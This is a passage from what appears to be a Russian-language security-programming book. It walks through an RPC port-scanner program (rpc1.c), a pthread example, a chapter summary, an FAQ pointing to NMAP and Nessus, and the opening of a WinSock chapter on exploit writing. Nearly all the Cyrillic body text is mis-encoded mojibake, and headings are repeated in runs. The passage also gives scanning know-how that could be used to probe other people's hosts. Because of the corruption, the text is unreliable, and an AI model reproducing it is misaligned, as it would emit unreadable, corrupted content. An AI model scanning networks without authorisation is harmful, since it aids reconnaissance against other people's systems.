òàõ. Ýòà ôóíêöèÿ ôîðìàòèðóåò íàõîäÿùèåñÿ â óêàçàííîì ìàññèâå ñèì-
âîëû, ïðåäñòàâëÿÿ èõ â ÷èòàåìîì âèäå, è âûâîäèò ðåçóëüòàò íà ïå÷àòü.
Ôîðìàò àíàëîãè÷åí ïðèíÿòîìó â ïðîãðàììå tcpdump, êîãäà îíà âûçûâà-
åòñÿ ñ ôëàãîì –X.

� Â ñòðîêàõ 97–101 îïðåäåëåíû ôðàãìåíòû RPC-çàïðîñà. Âïîñëåäñòâèè
çíà÷åíèå  RPC1_ID_HEAD áóäåò ïîìåùåíî â íà÷àëî áóôåðà ñîîáùå-
íèÿ, çà íèì – 4-áàéòîâîå áåççíàêîâîå öåëîå, ñîäåðæàùåå íîìåð ïðî-
ãðàììû, è â êîíöå – çíà÷åíèå RPC1_ID_TAIL. Â ñîâîêóïíîñòè ýòè òðè
÷àñòè ñîñòàâëÿþò ïîëíûé RPC-çàïðîñ.

� Â ñòðîêàõ 103–157 îïðåäåëÿåòñÿ ôóíêöèÿ rpcidport(), êîòîðàÿ ïðèíèìà-
åò òðè ïàðàìåòðà. Ïåðâûé – ýòî äåñêðèïòîð ñîêåòà, ïðåäâàðèòåëüíî ñî-
åäèíåííîãî ñ öåëåâûì ïîðòîì ôóíêöèåé connect(). Âòîðîé – ýòî óêàçà-
òåëü íà áåççíàêîâîå öåëîå, â êîòîðîå áóäåò ïîìåùåí íîìåð èäåíòèôè-
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öèðîâàííîé RPC-ïðîãðàììû. Òðåòèé ïàðàìåòð – öåëîå ÷èñëî, ãîâîðÿ-
ùåå î òîì, äîëæíà ëè ôóíêöèÿ rpcidport() ïå÷àòàòü ñîîáùåíèÿ îá
îøèáêàõ. Ôóíêöèÿ â öèêëå ïåðåáèðàåò âñå íîìåðà ïðîãðàìì, õðàíÿùè-
åñÿ â ìàññèâå progid, êîòîðûé áûë îáúÿâëåí â ñòðîêå 24. Äëÿ êàæäîãî
íîìåðà èç êîíñòàíò RPC1_ID_HEAD, RPC1_ID_TAIL è íîìåðà ïðîãðàì-
ìû ñòðîèòñÿ RPC-çàïðîñ. Â ñòðîêå 124 ýòîò çàïðîñ îòïðàâëÿåòñÿ â öåëå-
âîé ïîðò ôóíêöèåé send(). Â ñòðîêå 134 ôóíêöèÿ recv() ÷èòàåò îòâåò.
Åñëè äëèíà îòâåòà íå ìåíåå 28 áàéòîâ, òî îí çàñëóæèâàåò ðàññìîòðåíèÿ.
Â ñòðîêàõ 137–142 àíàëèçèðóþòñÿ 6 áàéòîâ îòâåòà, ÷òîáû ïîíÿòü, ñî-
äåðæàë ëè ïîñëàííûé çàïðîñ êîððåêòíûé íîìåð RPC-ïðîãðàììû. Åñëè
ýòî òàê, òî íîìåð ïîìåùàåòñÿ â ïåðåìåííóþ id è ôóíêöèÿ âîçâðàùàåò
óïðàâëåíèå.

� Â ñòðîêàõ 164–221 îïðåäåëÿåòñÿ ôóíêöèÿ makesock(). Îíà ïðåîáðàçóåò
çàäàííûé IP-àäðåñ èç òî÷å÷íî-äåñÿòè÷íîé íîòàöèè â áåççíàêîâîå öåëîå
÷èñëî. Çàòåì ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ ñîêåò, ïðèãîäíûé
äëÿ îòïðàâêè è ïðèåìà äàííûõ ïî ïðîòîêîëó TCP. Ïîëó÷åííûé ñîêåò
ñîåäèíÿåòñÿ ñ öåëåâûì IP-àäðåñîì è ïîðòîì ñ ïîìîùüþ ôóíêöèè
connect(). Åñëè âñå îïåðàöèè çàâåðøèëèñü óñïåøíî, òî makesock() âîç-
âðàùàåò êîððåêòíûé äåñêðèïòîð ñîêåòà, â ïðîòèâíîì ñëó÷àå – îòðèöà-
òåëüíîå ÷èñëî.

� Â ñòðîêàõ 228–270 îïðåäåëÿåòñÿ ôóíêöèÿ rpcid(). Îíà ñîçäàåò ñîêåò ñ ïî-
ìîùüþ makesock() è âûçûâàåò rpcidport(), ÷òîáû èäåíòèôèöèðîâàòü
ïðîãðàììó, ðàáîòàþùóþ íà ïîðòó, ñ êîòîðûì ñîåäèíåí ñîêåò. Åñëè ïðî-
ãðàììà îïîçíàíà, òî ïå÷àòàåòñÿ IP-àäðåñ, íîìåð ïîðòà è íîìåð ýòîé
ïðîãðàììû. Ïåðâûì ïàðàìåòðîì ôóíêöèè ÿâëÿåòñÿ IP-àäðåñ öåëåâîãî
õîñòà, âòîðûì – íîìåð ïîðòà, òðåòüèì – âåëè÷èíà òàéìàóòà connect(),
÷åòâåðòûì – âåëè÷èíà òàéìàóòà recv(), à ïÿòûì – ôëàã, ãîâîðÿùèé
î òîì, äîëæíà ëè ôóíêöèÿ rpcid() ïå÷àòàòü ñîîáùåíèÿ îá îøèáêàõ.

� Â ñòðîêàõ 277–310 îïðåäåëÿåòñÿ ôóíêöèÿ scan(), êîòîðàÿ ïðèíèìàåò
øåñòü ïàðàìåòðîâ. Ïåðâûé – ýòî IP-àäðåñ öåëåâîãî õîñòà, âòîðîé – íî-
ìåð ïîðòà, ñ êîòîðîãî íà÷èíàòü ñêàíèðîâàíèå, òðåòèé – íîìåð ïîðòà, íà
êîòîðîì ñêàíèðîâàíèå ñëåäóåò çàêîí÷èòü. ×åòâåðòûé è ïÿòûé ïàðà-
ìåòð áåç èçìåíåíèÿ ïåðåäàþòñÿ ôóíêöèè rpcid(). Øåñòîé ïàðàìåòð –
ýòî ôëàã, ãîâîðÿùèé î òîì, äîëæíà ëè ôóíêöèÿ scan() ïå÷àòàòü ñîîá-
ùåíèÿ îá îøèáêàõ. Ôóíêöèÿ â öèêëå ïåðåáèðàåò âñå TCP-ïîðòû â óêà-
çàííîì äèàïàçîíå è äëÿ êàæäîãî ïîðòà âûçûâàåò rpcid(), ÷òîáû ïðîâå-
ðèòü, ðàáîòàåò ëè íà ýòîì ïîðòó êàêàÿ-íèáóäü RPC-ïðîãðàììà.

� Â ñòðîêàõ 317–344 îïðåäåëÿåòñÿ ôóíêöèÿ parse(). Îíà çàíèìàåòñÿ ðàçáî-
ðîì çàäàííîãî â êîìàíäíîé ñòðîêå íîìåðà ïîðòà èëè äèàïàçîíà íîìå-
ðîâ è çàïèñûâàåò çíà÷åíèÿ íà÷àëüíîãî è êîíå÷íîãî ïîðòîâ â äâà áåç-
çíàêîâûõ êîðîòêèõ öåëûõ ÷èñëà. Äëÿ ïðåîáðàçîâàíèÿ ñòðîêîâîãî íî-
ìåðà ïîðòà ÷èñëî âûçûâàåòñÿ ôóíêöèÿ atoi().
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� Â ñòðîêàõ 351–353 îïðåäåëÿåòñÿ ôóíêöèÿ sighandler(). Åå âûçûâàåò îïå-
ðàöèîííàÿ ñèñòåìà â ñëó÷àå âîçíèêíîâåíèÿ ñèãíàëîâ SIGPIPE èëè
SIGALRM. Ñèãíàë SIGPIPE ïîñûëàåòñÿ ïðîãðàììå, åñëè óäàëåííûé õîñò
çàêðûë ñâîé êîíåö TCP-ñîåäèíåíèÿ, à ïðîãðàììà ïûòàåòñÿ ïèñàòü äàí-
íûå â ñîêåò. Òàêîå ìîæåò ñëó÷èòüñÿ ïðè ïîïûòêå èäåíòèôèöèðîâàòü
íîìåð RPC-ïðîãðàììû íà ïîðòó, ãäå ïðîòîêîë RPC íå ïîääåðæèâàåòñÿ.
Ñèãíàë SIGPIPE íåîáõîäèìî îáðàáîòàòü, ïîñêîëüêó ïî óìîë÷àíèþ
îïåðàöèîííàÿ ñèñòåìà ïðè åãî ïîñòóïëåíèè çàâåðøàåò ïðèëîæåíèå.
Ñèãíàë SIGALRM ïîñûëàåòñÿ ïî ïðîøåñòâèè ÷èñëà ñåêóíä, çàäàííîãî
ïðè âûçîâå ôóíêöèè alarm(). Âñå ôóíêöèè, áëîêèðîâàííûå â îæèäà-
íèè çàâåðøåíèÿ êàêîé-ëèáî îïåðàöèè, íåìåäëåííî âîçâðàùàþò êîä
îøèáêè. Òàêèì îáðàçîì, ìû ìîæåì ïðåðâàòü ôóíêöèþ connect(), åñëè
âðåìåíè äëÿ åå çàâåðøåíèÿ òðåáóåòñÿ áîëüøå, ÷åì óêàçàíî â ïðåäøå-
ñòâóþùåì åé âûçîâå alarm(). Ôóíêöèÿ alarm() ïðèìåíÿåòñÿ äëÿ òîé æå
öåëè â ñòðîêå 188 ïðîãðàììû rpc1.c.

� Â ñòðîêàõ 360–365 îïðåäåëÿåòñÿ ôóíêöèÿ usage(). Îíà ïå÷àòàåò ñîîáùå-
íèå î ïîðÿäêå çàïóñêà ïðîãðàììû.

� Â ñòðîêàõ 368–438 îïðåäåëÿåòñÿ ôóíêöèÿ main(). Ýòî ãëàâíàÿ òî÷êà âõî-
äà â ïðîãðàììó. Îíà îáðàáàòûâàåò çàäàííûå â êîìàíäíîé ñòðîêå àðãó-
ìåíòû, ïîñëå ÷åãî âûçûâàåò scan() äëÿ âûïîëíåíèÿ ñêàíèðîâàíèÿ.

Многопоточность и параллелизм
Äëÿ ïîâûøåíèÿ ïðîèçâîäèòåëüíîñòè è ìàñøòàáèðóåìîñòè ñåòåâûõ ïðèëîæå-
íèé áûâàåò ïîëåçíî îðãàíèçîâàòü íåñêîëüêî ïîòîêîâ. Îäíîïîòî÷íîå ïðè-
ëîæåíèå, êàêîâûì ÿâëÿåòñÿ rpc1.c, âûïîëíÿåò âñå îïåðàöèè ïîñëåäîâàòåëüíî.
Åñëè íåêîòîðûå èç íèõ òðåáóþò ìíîãî âðåìåíè, òî è âñÿ ïðîãðàììà áóäåò
ðàáîòàòü äîëãî. Ïîýòîìó èìååò ñìûñë ðàçáèòü ïðîãðàììó íà îòäåëüíûå ôóíê-
öèè, âûïîëíÿåìûå ïàðàëëåëüíî â íåñêîëüêèõ ïîòîêàõ.

Ñòàíäàðòíûì ñðåäñòâîì äëÿ ðåàëèçàöèè ìíîãîïîòî÷íîñòè â UNIX è UNIX-
ïîäîáíûõ îïåðàöèîííûõ ñèñòåìàõ ñëóæèò áèáëèîòåêà pthread, â êîòîðîé îï-
ðåäåëåíî äîâîëüíî ìíîãî ôóíêöèé. Íàèáîëåå âàæíîé èç íèõ ÿâëÿåòñÿ ôóí-
êöèÿ pthread_create():

int pthread_create (pthread_t *thread, const pthread_attr_t *attr,
    void *(*start_routine)(void *), void *arg);

Ýòà ôóíêöèÿ ñîçäàåò íîâûé ïîòîê èñïîëíåíèÿ. Îíà ïðèíèìàåò ÷åòûðå ïà-
ðàìåòðà, èç êîòîðûõ âòîðîé íà ïðàêòèêå îáû÷íî èãíîðèðóåòñÿ. Ïåðâûé ïà-
ðàìåòð – ýòî óêàçàòåëü íà ïåðåìåííóþ òèïà pthread_t, òðåòèé – àäðåñ ôóíê-
öèè, ñ êîòîðîé íà÷èíàåò ðàáîòàòü íîâûé ïîòîê. ×åòâåðòûé ïàðàìåòð – ýòî

Многопоточность и параллелизм
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íåòèïèçèðîâàííûé óêàçàòåëü, êîòîðûé áóäåò ïåðåäàí íà÷àëüíîé ôóíêöèè
ïîòîêà ïðè åå âûçîâå.

Â ïðèìåðå 3.11 äåìîíñòðèðóåòñÿ èñïîëíåíèå ôóíêöèè test() â îòäåëüíîì
ïîòîêå.

Пример 3.11. Пример 3.11. Пример 3.11. Пример 3.11. Пример 3.11. Многопоточность
 1 #include <stdio.h>
 2 #include <unistd.h>
 3
 4 #include <pthread.h>
 5
 6 void *test(void *arg)
 7 {
 8   printf("ïîòîê 2!\n");
 9 }
10
11 int
12 main(void)
13 {
14   pthread_t th;
15   int ret = 0;
16
17   ret = pthread_create(&th, NULL, test, NULL);
18   if(ret != 0)
19   {
20     printf("îøèáêà pthread_create().\n");
21     return(1);
22   }
23
24   sleep(2);
25
26   printf("ïîòîê 1!\n");
27
28   return(1);
29 }

Ìíîãîïîòî÷íîñòü – ýòî ïîëåçíûé èíñòðóìåíò äëÿ ðåàëèçàöèè áîëåå ýô-
ôåêòèâíûõ ñåòåâûõ ïðîãðàìì. Òàêèå ïðîãðàììû ìîãóò âûïîëíÿòü ñåòåâûå
îïåðàöèè íå ñòðîãî ïîî÷åðåäíî, à ïàðàëëåëüíî â ðàçíûõ ïîòîêàõ. Êðîìå
òîãî, ìíîãîïîòî÷íûìè ÷àñòî äåëàþò äèàãíîñòè÷åñêèå ñåòåâûå ïðîãðàììû è
ïðèëîæåíèÿ äëÿ ïðîâåðêè áåçîïàñíîñòè.

Îðãàíèçîâàâ íåñêîëüêî ïîòîêîâ, ìîæíî èñïîëíÿòü â íèõ îòäåëüíî îïåðà-
öèè îòïðàâêè è ïîëó÷åíèÿ äàííûõ, ïðèìåíÿåìûå â óòèëèòàõ ñêàíèðîâàíèÿ,
òîãäà íå ïðèäåòñÿ äîæèäàòüñÿ èñòå÷åíèÿ òàéìàóòà ïðè ÷òåíèè äàííûõ è
âïîñëåäñòâèè ïîâòîðÿòü îïåðàöèþ, âåäü íèêòî íå ìåøàåò ïîëó÷àòü îòâåò
ñ ìàêñèìàëüíî âîçìîæíîé ñêîðîñòüþ â îòäåëüíîì ïîòîêå. Â ðåçóëüòàòå îá-
ùàÿ ïðîèçâîäèòåëüíîñòü ïðîãðàììû ðåçêî âîçðàñòàåò.
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Резюме
API BSD-ñîêåòîâ – ýòî ðàçâèòûé ìåõàíèçì äëÿ ðåàëèçàöèè îáìåíà äàííûìè
ïî ñåòè. API ïðåäîñòàâëÿåò áàçîâûé íàáîð ôóíêöèé, ïðèìåíÿåìûõ ïî÷òè
îäèíàêîâî äëÿ ðàáîòû ïî ïðîòîêîëàì TCP è UDP. Çàäàâàÿ îïöèè ñîêåòîâ
ñ ïîìîùüþ ôóíêöèè setsockopt(), ìîæíî îáåñïå÷èòü íåîáõîäèìóþ ãèáêîñòü
è òîíêóþ íàñòðîéêó.

Â çàâèñèìîñòè îò òîãî, ÷òî âàì íóæíî – áûñòðîå ïîëó÷åíèå ðåçóëüòàòà èëè
ñîçäàíèå ñëîæíîãî ìàñøòàáèðóåìîãî ïðèëîæåíèÿ – ìîæíî ïðîåêòèðîâàòü
ïðîãðàììó ïî-ðàçíîìó. Îäèí èç ñïîñîáîâ ïîâûñèòü ïðîèçâîäèòåëüíîñòü –
ýòî ìíîãîïîòî÷íîñòü. Â ñôåðå ñåòåâîé äèàãíîñòèêè è èíôîðìàöèîííîé áå-
çîïàñíîñòè API ñîêåòîâ îêàçûâàåòñÿ íåîöåíèìûì ñðåäñòâîì ñîçäàíèÿ óòèëèò
äëÿ óäàëåííîãî ñêàíèðîâàíèÿ è ëîêàëüíîãî ìîíèòîðèíãà.

Обзор изложенного материала
Ââåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâÂâåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâÂâåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâÂâåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâÂâåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâ

� API BSD-ñîêåòîâ ñîñòîèò èç ôóíêöèé è òèïîâ äàííûõ.
� Âïåðâûå API BSD-ñîêåòîâ ïîÿâèëñÿ â îïåðàöèîííîé ñèñòåìå BSD UNIX

â íà÷àëå 1980-õ ãîäîâ. Òåïåðü îí ðåàëèçîâàí ïî÷òè âî âñåõ UNIX-ïî-
äîáíûõ ñèñòåìàõ è ïîääåðæèâàåòñÿ íà ïëàòôîðìå Microsoft Windows
(Winsock).

� API BSD-ñîêåòîâ øèðîêî èñïîëüçóåòñÿ â ïðîãðàììàõ íà ÿçûêå C äëÿ
ðåàëèçàöèè ðàáîòû ñ ïðîòîêîëàìè TCP è UDP.

Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCP
� Õîòÿ ïðîòîêîë TCP ñëîæíåå, ÷åì UDP, äà, ïîæàëóé, è âñå îñòàëüíûå

ïðîòîêîëû â ñåìåéñòâå TCP/IP, íî èìåííî îí ÿâëÿåòñÿ íàèáîëåå ïîïó-
ëÿðíûì ïðîòîêîëîì ïåðåäà÷è äàííûõ â ñåòè Èíòåðíåò.

Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCP
� Ïðîãðàììèðîâàíèå UDP-ñîêåòîâ âî ìíîãîì ïîõîæå íà ïðîãðàììèðî-

âàíèå TCP-ñîêåòîâ. Íî, ïîñêîëüêó ïðîòîêîë UDP íå òðåáóåò óñòàíîâëå-
íèÿ ñîåäèíåíèÿ, òî ïðåäâàðèòåëüíàÿ íàñòðîéêà, îòïðàâëåíèå è ïîëó÷å-
íèå äàòàãðàìì îêàçûâàþòñÿ íåñêîëüêî ïðîùå.

� UDP – ýòî íå ïîòîêîâûé ïðîòîêîë, îòïðàâëåííûå äàííûå ïðèõîäÿò
åäèíûì áëîêîì, êîòîðûé íàçûâàåòñÿ äàòàãðàììîé.

� Â çàãîëîâêå ïðîòîêîëà UDP åñòü âñåãî ÷åòûðå ïîëÿ: ïîðò ïîëó÷àòåëÿ,
ïîðò îòïðàâèòåëÿ, äëèíà è êîíòðîëüíàÿ ñóììà.

Обзор изложенного материала
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Îïöèè ñîêåòîâÎïöèè ñîêåòîâÎïöèè ñîêåòîâÎïöèè ñîêåòîâÎïöèè ñîêåòîâ
� Ôóíêöèÿ setsockopt() ïîçâîëÿåò ìîäèôèöèðîâàòü ïàðàìåòðû íà ðàçëè÷-

íûõ óðîâíÿõ ïðîòîêîëà. Äëÿ àäðåñíîãî ñåìåéñòâà AF_INET ìîæíî èç-
ìåíÿòü êàê îïöèè ñàìîãî ñîêåòà, òàê è íåêîòîðûå àñïåêòû ñâÿçàííûõ
ñ íèì ïðîòîêîëîâ, à èìåííî: IPv4, UDP, TCP, ICMP.

� ×àùå âñåãî ìîäèôèöèðóþòñÿ ïàðàìåòðû íà óðîâíå ñîêåòà, â òîì ÷èñëå:
ìåõàíèçì îáðàáîòêè îøèáîê, áóôåðèçàöèè, èíòåðïðåòàöèè àäðåñîâ,
à òàêæå âåëè÷èíû òàéìàóòîâ ïðè ïåðåäà÷å è ïðèåìå äàííûõ.

Ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâ
� Ïðîòîêîë SNMP øèðîêî ïðèìåíÿåòñÿ äëÿ ïîëó÷åíèÿ è ìîäèôèêàöèè

ðàçíîãî ðîäà àäìèíèñòðàòèâíûõ ïàðàìåòðîâ êîìïüþòåðîâ è óñòðîéñòâ,
ïîäñîåäèíåííûõ ê ñåòè. Äëÿ ýòîé öåëè â íåì îïðåäåëåíû çàïðîñû
GetRequest è SetRequest, èíêàïñóëèðóåìûå â UDP-äàòàãðàììû.

Ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâÑêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâ
� Ïðîòîêîë RPC äàåò âîçìîæíîñòü ðàçáèòü ïðîãðàììó íà ÷àñòè, ðàáîòàþ-

ùèå íà íåñêîëüêèõ êîìïüþòåðàõ.
� Ñëóæáà îòîáðàæåíèÿ ïîðòîâ ïðîñëóøèâàåò TCP è UDP-ïîðò 111. Óäà-

ëåííûå õîñòû ìîãóò ïåðåäàòü ýòîé ñëóæáå íîìåð êîíêðåòíîé ïðîãðàì-
ìû è ïîëó÷èòü â îòâåò íîìåð TCP èëè UDP-ïîðòà, íà êîòîðîì îíà ðàáî-
òàåò. Ýòî ñòàíäàðòíûé ñïîñîá îáíàðóæåíèÿ RPC-ïðîãðàìì.

� Åñëè ñëóæáà îòîáðàæåíèÿ ïîðòîâ îòêëþ÷åíà èëè íåäîñòóïíà èç âàøåé
ñåòè, òî ïóòåì ïðîâåðêè îòêðûòûõ ïîðòîâ â çàäàííîì äèàïàçîíå âñå
æå ìîæíî îïðåäåëèòü, êàêèå RCP-ñåðâèñû ðàáîòàþò.

Ìíîãîïîòî÷íîñòü è ïàðàëëåëèçìÌíîãîïîòî÷íîñòü è ïàðàëëåëèçìÌíîãîïîòî÷íîñòü è ïàðàëëåëèçìÌíîãîïîòî÷íîñòü è ïàðàëëåëèçìÌíîãîïîòî÷íîñòü è ïàðàëëåëèçì
� Áèáëèîòåêà pthread – ýòî ñòàíäàðòíîå ñðåäñòâî ðåàëèçàöèè ìíîãîïî-

òî÷íîñòè â UNIX-ïîäîáíûõ ñèñòåìàõ.
� Âàæíåéøåé èç âñåõ ôóíêöèé â ýòîé áèáëèîòåêå ÿâëÿåòñÿ pthread_create.
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Ссылки на сайты
Áîëåå ïîäðîáíóþ èíôîðìàöèþ âû ìîæåòå íàéòè íà ñëåäóþùèõ ñàéòàõ:

� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-
øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå;

� http://www.iana.org/assignments/port-numbers. Íà ñàéòå Àãåíñòâà ïî âû-
äåëåíèþ èìåí è óíèêàëüíûõ ïàðàìåòðîâ ïðîòîêîëîâ Internet (Internet
Assigned Numbers Authority – IANA) îïóáëèêîâàí ïîëíûé ñïèñîê îôè-
öèàëüíî âûäåëåííûõ ïîðòîâ. Ýòî ïðåêðàñíîå ïîäñïîðüå êàê äëÿ íà-
÷èíàþùåãî ñïåöèàëèñòà ïî áåçîïàñíîñòè, òàê è äëÿ õàêåðà;

� http://www.private.org.il/tcpi p_rl.html. Ïîðòàë Þðèÿ Ðàöà (Uri  Raz) ïî-
ñâÿùåí ñåìåéñòâó ïðîòîêîëîâ TCP/IP.

Часто задаваемые вопросы
Ñëåäóþùèå ðàñïðîñòðàíåííûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Êàê ïîëó÷èòü áîëåå ïîäðîáíóþ èíôîðìàöèþ îá îøèáêå ïðè ïðîãðàì-
ìèðîâàíèè BSD-ñîêåòîâ?

Î:Î:Î:Î:Î: Íà ïëàòôîðìå UNIX òàêóþ èíôîðìàöèþ ìîæíî ïîëó÷èòü ñ ïîìîùüþ
ïåðåìåííîé errno. Åñëè êàêàÿ-ëèáî ôóíêöèÿ èç API ñîêåòîâ âîçâðàùàåò –1,
òî â ãëîáàëüíîé ïåðåìåííîé errno áóäåò íàõîäèòüñÿ öåëî÷èñëåííîå çíà÷åíèå,
èíäèöèðóþùåå òèï îøèáêè. Ïðîàíàëèçèðîâàâ êîä îøèáêè, ïðîãðàììèñò
ñìîæåò ïðåäïðèíÿòü àäåêâàòíûå äåéñòâèÿ. Âîçìîæíûå çíà÷åíèÿ errno îïðå-
äåëåíû â çàãîëîâî÷íîì ôàéëå errno.h, êîòîðûé îáû÷íî íàõîäèòñÿ â êàòàëîãå
/usr/include. ×òîáû ïîëó÷èòü äîñòóï ê ïåðåìåííîé errno, äîñòàòî÷íî âêëþ-
÷èòü ýòîò ôàéë â ñâîþ ïðîãðàììó, íàïðèìåð: #include <errno.h>.

Â:Â:Â:Â:Â: Îäèíàêîâ ëè èíòåðôåéñ ê BSD-ñîêåòàì íà âñåõ ïëàòôîðìàõ UNIX?
Î:Î:Î:Î:Î: Â îñíîâíûõ ÷åðòàõ ïðîãðàììíûé èíòåðôåéñ ñîâìåñòèì íà âñåõ UNIX-

ïëàòôîðìàõ. Íî èìåþòñÿ è íåêîòîðûå ðàçëè÷èÿ, êîòîðûå íàäî ó÷èòûâàòü
ïðè íàïèñàíèè ïåðåíîñèìûõ ïðîãðàìì. Îíè êàñàþòñÿ çíà÷åíèé êîíñòàíò,
èìåí çàãîëîâî÷íûõ ôàéëîâ è ðÿäà ôóíêöèé. Íàïðèìåð, â ñèñòåìàõ, âåäóùèõ

Часто задаваемые вопросы
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ïðîèñõîæäåíèå îò îïåðàöèîííîé ñèñòåìû BSD UNIX, èìååòñÿ ôóíêöèÿ
getifaddrs(), êîòîðàÿ ïîçâîëÿåò ïåðå÷èñëèòü âñå ñåòåâûå èíòåðôåéñû íà äàí-
íîì êîìïüþòåðå. Â ñèñòåìå Linux òàêîé ôóíêöèè íåò, è äëÿ äîñòèæåíèÿ àíà-
ëîãè÷íîãî ðåçóëüòàòà ïðèõîäèòñÿ ïðèáåãàòü ê ôóíêöèè ioctl().

Â:Â:Â:Â:Â: Íà ïðèìåðå êàêèõ ïðîãðàìì ìîæíî íàó÷èòüñÿ ïðîãðàììèðîâàíèþ
BSD-ñîêåòîâ â èíòåðåñàõ îáåñïå÷åíèÿ áåçîïàñíîñòè?

Î:Î:Î:Î:Î: Äâå ñàìûõ ðàñïðîñòðàíåííûõ ïðîãðàììû òàêîãî ðîäà – ýòî NMAP è
Nessus. NMAP ïðèìåíÿåòñÿ äëÿ ñêàíèðîâàíèÿ ñåòåé TCP/IP â ïîèñêàõ ðàáîòàþ-
ùèõ õîñòîâ è ñëóæá. Nessus – ýòî áåñïëàòíûé, ïîñòàâëÿåìûé ñ èñõîäíûìè
òåêñòàìè ñêàíåð áåçîïàñíîñòè, ïîçâîëÿþùèé, ïîìèìî ñêàíèðîâàíèÿ ñåòåé,
åùå è óäàëåííî ïðîâåðÿòü íàëè÷èå óÿçâèìîñòåé, êîòîðûìè ìîæåò âîñïîëü-
çîâàòüñÿ õàêåð.

Îáà ïðîåêòà – õîðîøåå ïîñîáèå ïî ïðèìåíåíèþ BSD-ñîêåòîâ â ñôåðå èí-
ôîðìàöèîííîé áåçîïàñíîñòè, îðãàíèçàöèè àòàê è ïðîòèâîäåéñòâèÿ àòàêàì.
Èõ ìîæíî çàãðóçèòü ñî ñëåäóþùèõ ñàéòîâ:

� NMAP – http://www.insecure.org/nmap/;
� Nessus – http://www.nessus.org.

Â:Â:Â:Â:Â: Ãäå ìîæíî ïîëó÷èòü äåòàëüíóþ èíôîðìàöèþ î ñåìåéñòâå ïðîòîêîëîâ
TCP/IP è ïðîãðàììèðîâàíèè BSD-ñîêåòîâ?

Î:Î:Î:Î:Î: Ìû ðåêîìåíäóåì ñëåäóþùèå êíèãè íà ýòó òåìó:
� W.R. Stevens «TCP/IP Illustrated, Volume 1»;
� W.R. Stevens «UNIX Network Programming, Volume 1: The Sockets Net-

working API».
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Введение
Â ïðîøëîì ñèñòåìà Linux, íå áóäó÷è åäèíñòâåííîé íà ðûíêå, ïîëüçîâàëàñü
îñîáûì ïðåäïî÷òåíèåì ó õàêåðîâ. Â òå âðåìåíà ïî÷òè âñå ýêñïëîéòû ïèñà-
ëèñü íà ïëàòôîðìå Linux è òîëüêî íà íåé ìîãëè áûòü îòêîìïèëèðîâàíû.
Ñ òåõ ïîð ïëàòôîðìà Microsoft Win32 ñòàëà ãîðàçäî ÷àùå ïðèìåíÿòüñÿ â êîð-
ïîðàòèâíûõ ñèñòåìàõ è óæå ïî÷òè ñðàâíÿëàñü ñ Linux â ÷àñòè êîëè÷åñòâà ñî-
çäàííûõ íà íåé ýêñïëîéòîâ. ×òîáû íàïèñàòü ýêñïëîéò â ñðåäå Microsoft Win32
èëè çàùèòèòüñÿ îò íåãî, íóæíî õîðîøî ðàçáèðàòüñÿ â API WinSock 1 è, ÷òî
åùå áîëåå âàæíî, WinSock 2.

Èíòåðôåéñû ïðîãðàììèðîâàíèÿ WinSock 1 è WinSock 2 ïðåäíàçíà÷åíû äëÿ
íàïèñàíèÿ ñåòåâûõ ïðîãðàìì. WinSock 2 èñïîëüçóåò áèáëèîòåêó ws2_32.dll äëÿ
âçàèìîäåéñòâèÿ ñî ñëîåì Winsock èëè ñ èíòåðôåéñîì ñåðâèñ-ïðîâàéäåðà
(Service Provider Interface – SPI), êîòîðûé îáùàåòñÿ ñ ôèçè÷åñêîé àïïàðàòóðîé.
Ïîñêîëüêó ïðîãðàììèñòû ðàáîòàþò òîëüêî íà óðîâíå Winsock 2 API, òî îá
àïïàðàòóðå îíè ìîãóò íè÷åãî íå çíàòü. Öåëü Winsock API – ïðåäîñòàâèòü
